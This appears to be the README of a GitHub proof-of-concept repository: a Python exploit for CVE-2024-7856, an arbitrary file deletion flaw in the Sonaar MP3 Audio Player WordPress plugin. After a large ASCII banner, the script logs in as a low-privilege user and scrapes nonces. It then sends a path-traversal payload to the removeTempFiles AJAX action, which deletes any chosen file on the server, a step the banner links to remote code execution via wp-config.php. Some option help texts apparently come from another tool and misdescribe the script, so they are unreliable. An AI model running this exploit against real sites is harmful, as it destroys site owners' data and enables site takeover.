README.md
Rendering markdown...
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
import time
import sys
import re
import rich_click as click
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
banner = r""" -*#.
....=*#*. :+%=.=*
+@**%=--=@#%*. .##===-:@
:@-------*#..:@ -@+-. .-=@.
-#-=%#+=-+%=...:-@@%%#*+-. .**
=#:..:*@%*+=-....-=*#:-=+***=@
+#...:=::-=++++*****%:.....:=#*-
:#+.:-=*##+-:...................=%=.
.#@:-#%+:...........................=@:
+#:*#-:...............................:%+
.%=.......................................**
.%=..............................-.........:%-
*+............................+**+..........:@
:@........:-::.................:..............%: ...::.... ...
+*........-+*%%...................:++.........=# +@@@@@@@@@@@%: .:*@@@@@@@@#-. .-+#@@@%#*+:
*+...............................=@:..........:@ :@@@@@@@@@@@@@@ .%@@@@@@@@@@@@@. #@@@@@@@@@@@@%
*+..........+##:.............:*=:*#%%.........-% -@@@@@@@@@@@@@@.#@@@@@@@@@@@@@@.+@@@@@@@@@@@@@@-
+*.........*:-@@.....:*%###.:@++%=......::::..#*- -=+*****@@@@@@.#@@@%::::=@@@@@.*@@@@=---*@@@@@-
:@.........-#@%+.....##--=@::@=-##...:::::::**@++@: :------%@@@@@ %@@@% *@@@@@.#@@@% -@@@@@-
:==%+..................-@=-=@..*##@....::::::@=-=--#= .#@@@@@@@@@@@@# %@@@@----%@@@@@.#@@@@::::*@@@@@-
=%-=@%#-::::::::.........:%*#+..@--@....::::::*%+==*% #@@@@@@@@@@@@@: %@@@@@@@@@@@@@@.*@@@@@@@@@@@@@@:
+#----=@:::::::::........:::::::@.+#::..::::::@- -++ %@@@@@@@@@@%*. =@@@@@@@@@@@@@@ =@@@@@@@@@@@@@@.
*#+*%%%+::::::::.......=@=-----=+***#@%+...*# %@@@@# .-+++++@@@@@@ .=*#%@@@@@@@@@.
::.. -%=:::-++-.:=:.-%::::::::::::::-=@#*: %@@@@@%%%%%%%%= %@@@@# %@@@@%
.=#*-@*=+#@+*#+@-::==:::::::::::@*#* *@@@@@@@@@@@@@+ @@@@@+ %@@@@#
.-+++--%%*==----=###%*==**+******#%#+#* *@@@@@@@@@@@@: %@@@@- %@@@@+
=%+--:=%=@@**####**%@#............@*%%: :=========: =***= =###*.
=#---:..=%#*.......-@@#...........:@..:#*
#-.:@-..*#%-=.......:@**#%@@@%#++=*%-...-%
=%@=.:=#%@@#@==%:.....-@**#%%%#**++==-::@.:@
-%-+%:---:::-*#.-*#*+*#*. ...:-*@@#*==%-
.@=-+%=-:...:-%=...:::. :@**%@#-
-%=-=##=:..:--@-...... ..:....:#=
:%+---*%*---=%......... .-.......:@.
-@*----=*%@*....=%*=-::-=*@%=......+@ Author: EQST(Experts, Qualified Security Team)
.=%%*=--**.....::=@#*@*.-+#@%%%%+. Github: https://github.com/EQSTLab
.:-=++#*:...-#+.::.
:=+++=.
Analysis base : https://www.wordfence.com/blog/2024/09/critical-arbitrary-file-deletion-vulnerability-in-mp3-audio-player-wordpress-plugin-affects-over-20000-sites/
=============================================================================================================
CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – Missing Authorization to Authenticated (Subscriber+) Arbitrary File Deletion
Researcher: Arkadiusz Hydzik
description: The MP3 Audio Player
Music Player, Podcast Player & Radio by Sonaar plugin for WordPress is vulnerable to unauthorized arbitrary file deletion due to a missing capability check on the removeTempFiles() function and insufficient path validation on the 'file' parameter in all versions up to, and including, 5.7.0.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files which can make remote code execution possible when wp-config.php is deleted.
=============================================================================================================
"""
class MP3APExploit:
def __init__(self, url: str, file: str, id: str, pw: str):
self.url = url
self.file = file
self.id = id
self.pw = pw
self.cookie = ''
self.base_Url = ''
self.nonces = {}
def greeting() -> None:
print(banner)
def spinner(duration=10, interval=0.1) -> None:
spinner_chars = ['|', '/', '-', '\\']
end_time = time.time() + duration
while time.time() < end_time:
for char in spinner_chars:
sys.stdout.write(f'\r[{char}] Exploit loading, please wait...')
sys.stdout.flush()
time.sleep(interval)
print("")
def getBaseUrl(self, url):
parsed_url = urlparse(url)
base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
return base_url
def getLogin(self) -> str:
id = self.id
pw = self.pw
# No id or No pw args
if not id or not pw:
print(">>> Please Login:")
id = input(" ID > ")
pw = input(" PW > ")
self.base_Url = self.getBaseUrl(self.url)
login_Url = self.base_Url +'/wp-login.php'
# Invalid Input
if not id or not pw:
print("[-] Invalid input")
exit()
print(f"[+] Try Login : ID = {id}, PW = {pw}")
headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie': 'wordpress_test_cookie=WP%20Cookie%20check'
}
data = {
'log': id,
'pwd': pw,
'wp-submit': 'Log In'
}
response = requests.post(login_Url, headers=headers, data=data, allow_redirects=False)
# Invalid try
if response.status_code != 302:
print("[-] Login Failed")
exit()
cookie_header = '; '.join([f"{cookie.name}={cookie.value}" for cookie in response.cookies])
self.cookie = cookie_header
#print(self.cookie)
print("[+] Login Success")
def getNonce(self) -> dict:
self.getLogin()
nonce_Url = self.base_Url +'/wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_'
headers = {
'Cookie': self.cookie
}
response = requests.get(nonce_Url, headers=headers)
res_Text = response.text
soup = BeautifulSoup(res_Text, 'html.parser')
try:
print('[+] Finding nonces')
script_tag = soup.find('script', {'id': 'sonaar-admin-js-extra'})
script_content = script_tag.string
ajax_nonce = re.search(r'"ajax_nonce":"(.*?)"', script_content).group(1)
ajax_nonce_peaks = re.search(r'"ajax_nonce_peaks":"(.*?)"', script_content).group(1)
except Exception as e:
print('[-] Parsing Failed', e)
self.nonces = {'ajax_nonce': ajax_nonce, 'ajax_nonce_peaks': ajax_nonce_peaks}
print(f"[+] Nonce Value: {self.nonces}")
def updateAudioPeaks(self) -> None:
print('[+] Creating audio_peaks dir')
ajax_Url = self.base_Url +'/wp-admin/admin-ajax.php'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': self.cookie
}
data = {
'action': 'update_audio_peaks',
'nonce': self.nonces['ajax_nonce_peaks'],
'post_id': '1',
'media_id': '1',
'index': '1',
'file': 'aaa',
'is_temp': '1',
'is_preview': '1',
'preak_file_type': 'aaa'
}
response = requests.post(ajax_Url, headers=headers, data=data)
def removeFile(self) -> None:
print('[+] Removing File')
ajax_Url = self.base_Url +'/wp-admin/admin-ajax.php'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': self.cookie
}
data = {
'action': 'removeTempFiles',
'nonce': self.nonces['ajax_nonce'],
'is_temp': '1',
'file': '/var/www/html/wp-content/uploads/audio_peaks/../../../../../..'+self.file
}
response = requests.post(ajax_Url, headers=headers, data=data)
def exploit(self) -> None:
self.getNonce()
self.updateAudioPeaks()
self.removeFile()
# argument parsing with rich_click
@click.command()
@click.option(
"-u",
"--url",
required=True,
help="Specify a URL or domain for vulnerability detection (Donation-Form Page)",
)
@click.option(
"-f",
"--file",
default="/tmp/test",
help="Specify the file to read from the server",
)
@click.option(
"-i",
"--id",
default="",
help="WordPress User ID",
)
@click.option(
"-p",
"--pw",
default="",
help="WordPress User PassWord",
)
def main(url: str, file: str, id: str, pw: str) -> None:
MP3APExploit.greeting()
MP3APExploit.spinner(duration=1)
Mp3exploit = MP3APExploit(url, file, id, pw)
Mp3exploit.exploit()
if __name__ == "__main__":
main()